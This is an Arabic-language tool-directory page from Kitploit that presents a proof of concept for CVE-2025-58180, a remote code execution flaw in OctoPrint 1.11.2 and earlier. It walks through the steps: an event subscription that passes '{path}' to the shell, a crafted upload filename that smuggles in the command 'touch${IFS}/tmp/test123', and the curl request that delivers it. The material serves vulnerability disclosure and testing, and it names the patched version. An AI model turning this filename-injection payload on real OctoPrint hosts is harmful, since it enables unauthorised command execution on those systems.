Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-58180 — في إصدار OctoPrint <=1.11.2، يمكن للمهاجم الذي لديه صلاحية رفع الملفات (مثل مفتاح API صالح أو جلسة) إنشاء اسم ملف ضار يتجاوز عملية التنقية، ثم يتم تنفيذه لاحقًا بواسطة نظام الأحداث في OctoPrint، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على المضيف. | Kitploit
أدوات/GitHubGitHub/prabhatverma47/cve-2025-58180
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرة
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

في إصدار OctoPrint <=1.11.2، يمكن للمهاجم الذي لديه صلاحية رفع الملفات (مثل مفتاح API صالح أو جلسة) إنشاء اسم ملف ضار يتجاوز عملية التنقية، ثم يتم تنفيذه لاحقًا بواسطة نظام الأحداث في OctoPrint، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على المضيف.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد
مشاركة

CVE-2025-58180 RCE في OctoPrint عبر اسم ملف غير معقّم في رفع الملف

في OctoPrint الإصدار <=1.11.2، يمكن لمهاجم لديه صلاحية رفع ملف (مثل مفتاح API صالح أو جلسة) صياغة اسم ملف خبيث يتجاوز التعقيم ويتم تنفيذه لاحقًا بواسطة نظام الأحداث في OctoPrint، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على المضيف.


إثبات المفهوم: خطوات إعادة إنتاج الثغرة

الخطوة 1: معلومات الإصدار

تم تنزيل أحدث إصدار ثابت: OctoPrint 1.11.2

صورة

الخطوة 2: تشغيل OctoPrint

root@kitploit:~
octoprint serve --port 5000 --debug
  • افتح http://127.0.0.1:5000 في المتصفح.
  • اتبع المعالج الأولي ← أنشئ مستخدمًا بالإعدادات الافتراضية (معطّل: الاتصال، الزائر، الإضافة).
  • احصل على مفتاح API من الإعدادات ← API ← احفظه لاحقًا. صورة

أوقف خدمة OctoPrint بمجرد الانتهاء من الخطوات أعلاه.


الخطوة 3: تكوين الاشتراك في الأحداث

بعد وثائق أحداث OctoPrint:

عدّل ~/.octoprint/config.yaml:

root@kitploit:~
events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
صورة

الخطوة 4: إنشاء نموذج G-code

أنشئ /tmp/gcode/ok.gcode:

root@kitploit:~
; minimal gcode
G28
M105

أعد تشغيل خدمة OctoPrint.


الخطوة 5: إثبات مفهوم RCE

  1. صدّر مفتاح API:
root@kitploit:~
export API_KEY='<المفتاح الذي جمعته سابقًا من واجهة الويب>'
  1. تحقق من عدم وجود الملف:
root@kitploit:~
ls -la /tmp/test123
  1. صغ حمولة اسم الملف الخبيثة: INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

التفسير: ${IFS} هو فاصل الحقول الداخلي للقشرة (غالبًا مسافة). يتجاوز التعقيم عند الحقن.

  1. أرسل طلب curl:
root@kitploit:~
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. تحقق من التنفيذ:
root@kitploit:~
ls -la /tmp/test123
صورة

إذا كان /tmp/test123 موجودًا، فهذا يعني أن الأمر المُحقن قد نُفذ بنجاح → تم تأكيد RCE.


شرح التدفق

root@kitploit:~
[User upload with crafted filename]
        │
        ▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
        │
        ▼
system command subscriber → subprocess.check_call(..., shell=True)
        │
        ▼
[Injected shell metacharacters execute as OS commands]

ملخص

عند رفع ملف:

  1. يقبل OctoPrint اسم الملف (مع تعقيم محدود).
  2. يُشغل حدث FileAdded.
  3. إذا كانت أوامر النظام مشتركة في هذا الحدث، يتم تمرير اسم الملف الخام (بما في ذلك ; و${IFS} وما إلى ذلك) إلى قشرة.
  4. يسمح ذلك بتنفيذ الأوامر المُحقنة داخل اسم الملف على المضيف.

النتيجة: تنفيذ تعليمات برمجية عن بُعد (RCE) على النظام المضيف.


المراجع

  • CVE المعيّن:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • الإصدار المُصحّح: 1.11.3

تنزيل الأداة